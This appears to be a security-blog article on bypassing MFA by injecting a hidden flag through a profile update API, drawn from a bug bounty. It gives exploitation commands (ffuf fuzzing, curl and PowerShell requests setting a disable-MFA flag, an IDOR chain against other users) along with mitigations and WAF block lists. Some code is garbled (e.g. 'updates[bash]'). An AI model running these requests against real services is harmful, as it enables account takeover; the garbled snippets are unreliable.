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Introduction:
Multi-factor authentication (MFA) is the gold standard for account security—unless an API endpoint lets attackers flip a hidden switch to disable it. In a recent YesWeHack bounty, Javier Rieiro discovered that a profile update endpoint failed to restrict which user attributes could be modified. By injecting a concealed internal flag, he forced the application to skip 2FA entirely on subsequent logins. This article dissects the technical root cause, provides step‑by‑step exploitation techniques, and offers hardening commands for both Linux and Windows environments.
Learning Objectives:
- Understand how insufficient API attribute filtering can lead to MFA bypass.
- Learn to identify and exploit hidden user flags using intercepting proxies and custom scripts.
- Implement robust mitigation strategies including input validation, role‑based access control, and server‑side flag protection.
You Should Know:
1. Reconnaissance: Mapping the Profile Update Endpoint
Before exploiting an attribute manipulation vulnerability, you must enumerate all available user attributes and identify which ones are writable. Many modern applications expose a RESTful `/api/user/profile` or `/api/user/update` endpoint that accepts JSON payloads.
Step‑by‑step guide to discovering hidden attributes:
- Intercept a legitimate profile update using Burp Suite or OWASP ZAP.
Example normal request:
POST /api/v1/user/profile HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <token>
{"display_name": "attacker", "email": "[email protected]"}
- Fuzz for additional parameters using a wordlist of common internal flags:
is_mfa_enabled,mfa_required,force_2fa,bypass_mfa,admin,verified,skip_mfa,mfa_skip_flag.
Example using `ffuf` (Linux):
ffuf -u https://target.com/api/v1/user/profile -X PUT -H "Authorization: Bearer <token>" -d '{"FUZZ": true}' -w ./attribute_list.txt -fs 413
- Analyze server responses for differences. A successful injection may return `200 OK` even if the attribute is undocumented. On Windows, use `curl` in PowerShell:
$headers = @{ Authorization = "Bearer <token>"; "Content-Type" = "application/json" } $body = @{ force_mfa_bypass = $true } | ConvertTo-Json Invoke-RestMethod -Uri "https://target.com/api/v1/user/profile" -Method PUT -Headers $headers -Body $body
What this does: It reveals hidden API parameters that control security features. If the endpoint accepts and stores an attribute like `mfa_bypass=true` without validation, you have found the vulnerability.
2. Exploitation: Setting the MFA Bypass Flag
Once a writable internal flag is identified, the next step is to set it to a value that disables MFA. In the original bounty, the flag was named `disable_mfa_on_next_login` and could be set to `true` via a PATCH request.
Step‑by‑step exploitation guide:
- Capture a login session that normally requires MFA after entering valid credentials. Note the redirect or token issuance.
-
Modify the profile update payload to include the bypass flag. Example using `curl` (Linux/macOS):
curl -X PATCH https://target.com/api/user/profile \ -H "Authorization: Bearer <valid_session_token>" \ -H "Content-Type: application/json" \ -d '{"disable_mfa_on_next_login": true, "display_name": "attacker"}' -
Log out and attempt to log in again. If successful, the MFA challenge (SMS, TOTP, or push notification) will not be presented.
To automate verification (Windows PowerShell):
Logout
Invoke-RestMethod -Uri "https://target.com/api/logout" -Method POST -Headers $headers
Login with credentials
$loginBody = @{ username = "[email protected]"; password = "Password123!" } | ConvertTo-Json
$auth = Invoke-RestMethod -Uri "https://target.com/api/login" -Method POST -Body $loginBody
Check if MFA was skipped – look for direct session token
if ($auth.session_token) { Write-Host "MFA BYPASSED!" }
What this demonstrates: The server must never trust client‑supplied attributes that affect security decisions. Any flag controlling MFA should be stored and modified only on the backend, not exposed via public APIs.
3. Mitigation: Hardening API Attribute Handling
To prevent this vulnerability, developers must implement strict input validation and separate security flags from modifiable profile fields.
Step‑by‑step hardening for Linux servers (Node.js/Express example):
- Define a schema for updatable attributes using a library like Joi or Zod:
const updatableFields = ['display_name', 'email', 'avatar_url']; const payload = req.body; const updates = {}; for (let key of updatableFields) { if (payload.hasOwnProperty(key)) updates[bash] = payload[bash]; } // Never copy internal flags like 'mfa_enabled' from payload -
Store security flags separately – either in a dedicated table or as backend‑only columns:
-- PostgreSQL example CREATE TABLE users ( id SERIAL PRIMARY KEY, username TEXT, mfa_enabled BOOLEAN DEFAULT false, mfa_secret TEXT, -- backend_only fields cannot be set via API );
-
Use middleware to strip disallowed attributes (Python Flask):
from flask import request, abort ALLOWED_ATTRIBUTES = {'display_name', 'email'}</p></li> </ol> <p>@app.before_request def restrict_attributes(): if request.endpoint == 'update_profile' and request.is_json: for key in request.json.keys(): if key not in ALLOWED_ATTRIBUTES: abort(400, description=f"Attribute '{key}' not allowed to update")For Windows / IIS with ASP.NET Core:
Use a DTO (Data Transfer Object) that explicitly includes only modifiable properties:
public class UpdateProfileDto { public string DisplayName { get; set; } public string Email { get; set; } // No MfaEnabled property here }Then in the controller:
[HttpPut("profile")] public IActionResult UpdateProfile([bash] UpdateProfileDto dto) { var user = _context.Users.Find(UserId); user.DisplayName = dto.DisplayName ?? user.DisplayName; user.Email = dto.Email ?? user.Email; // Security flags remain untouched _context.SaveChanges(); return Ok(); }4. Cloud Hardening: API Gateway & WAF Rules
In cloud environments (AWS, Azure, GCP), use API Gateway or Web Application Firewall to block requests containing suspicious keys.
Step‑by‑step for AWS API Gateway + Lambda:
- Deploy a Lambda authorizer that scans the request body for blacklisted attributes:
def lambda_handler(event, context): body = json.loads(event.get('body', '{}')) forbidden = ['mfa_skip_flag', 'disable_mfa', 'force_2fa_bypass'] for key in body: if key in forbidden: raise Exception('Unauthorized attribute') return {'policyDocument': {...}, 'principalId': 'user'} -
Configure a WAF rule to reject any JSON key matching regex
.mfa.bypass.:{ "Name": "BlockMFABypassKeys", "Priority": 10, "Statement": { "RegexPatternSetReferenceStatement": { "Arn": "arn:aws:wafv2:.../regexpattern/mfa_bypass_keys", "FieldToMatch": { "JsonBody": {} } } }, "Action": { "Block": {} } } -
For Azure Front Door – create a custom rule using match variable `RequestBody` and operator `Contains` with value
"mfa_skip".
What this accomplishes: Defence in depth – even if the application logic misses validation, the edge layer will block the malicious payload.
5. Advanced Exploitation: Chaining Attribute Manipulation with IDOR
Often, an attribute manipulation vulnerability pairs with Insecure Direct Object References (IDOR). An attacker can modify another user’s flags if the API lacks proper authorization.
Step‑by‑step IDOR + attribute manipulation:
- Change your own profile normally, but observe the request URL pattern – e.g.,
/api/user/123/profile. - Change the user ID to a target user (victim) while keeping your own authentication token:
curl -X PATCH https://target.com/api/user/456/profile \ -H "Authorization: Bearer <your_token>" \ -d '{"disable_mfa": true}' - If the response is 200, you have both IDOR and MFA bypass. Now log in as victim using their credentials (perhaps obtained via phishing or dump) – MFA will be disabled.
Mitigation commands for Linux sysadmins (using `auditd` to detect unauthorized API access):
Monitor access to user profile endpoints auditctl -w /var/log/nginx/access.log -p wa -k api_profile_audit ausearch -k api_profile_audit | grep -E "PATCH|PUT.profile"
- Tool Configuration: Automating Attribute Fuzzing with Burp Suite
To systematically test for this vulnerability, configure Burp Intruder:
- Send the profile update request to Intruder (position the payload where attribute names go).
- Set payload type to “Simple list” and load a custom wordlist (download from SecLists:
Parameter/JSON_Attribs.txt). - Add grep extract rules for
"error","success", and HTTP status codes. - Start attack; look for responses that are `200 OK` but have an unusual change in the response body (e.g., a new attribute echoed back).
Windows alternative using `Postman` + runner script (PowerShell):
$attributes = @("mfa_bypass","skip2fa","force_mfa_off","admin_bypass") foreach ($attr in $attributes) { $body = @{$attr = $true} | ConvertTo-Json $response = Invoke-WebRequest -Uri "https://target.com/api/profile" -Method PUT -Body $body -Headers $headers if ($response.StatusCode -eq 200 -and $response.Content -match "bypass") { Write-Host "Vulnerable attribute: $attr" } }What Undercode Say:
- API endpoints must never blindly merge client‑supplied JSON into database rows – always use a whitelist of modifiable fields.
- Hidden attributes are a myth – attackers will find them via fuzzing. Implement server‑side security flags that are impossible to override from the client.
- MFA bypass is a critical vulnerability (CWE-287, CWE-306) and can lead to full account takeover. Regular expression blacklisting is insufficient; use schema‑based validation and separate security logic from profile data.
Prediction:
As microservices and GraphQL APIs proliferate, attribute manipulation will become the next major vector for bypassing authentication controls. AI‑driven fuzzing tools will automate the discovery of these hidden flags, forcing a shift toward zero‑trust API design where every attribute update is explicitly audited. Organisations that fail to implement strict input validation will face regulatory fines under frameworks like NIS2 and DORA, as MFA bypass directly undermines a core security control. Expect to see “attribute based access control (ABAC) misconfiguration” categories appear in OWASP Top 10 for API Security within two years.
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- Deploy a Lambda authorizer that scans the request body for blacklisted attributes:
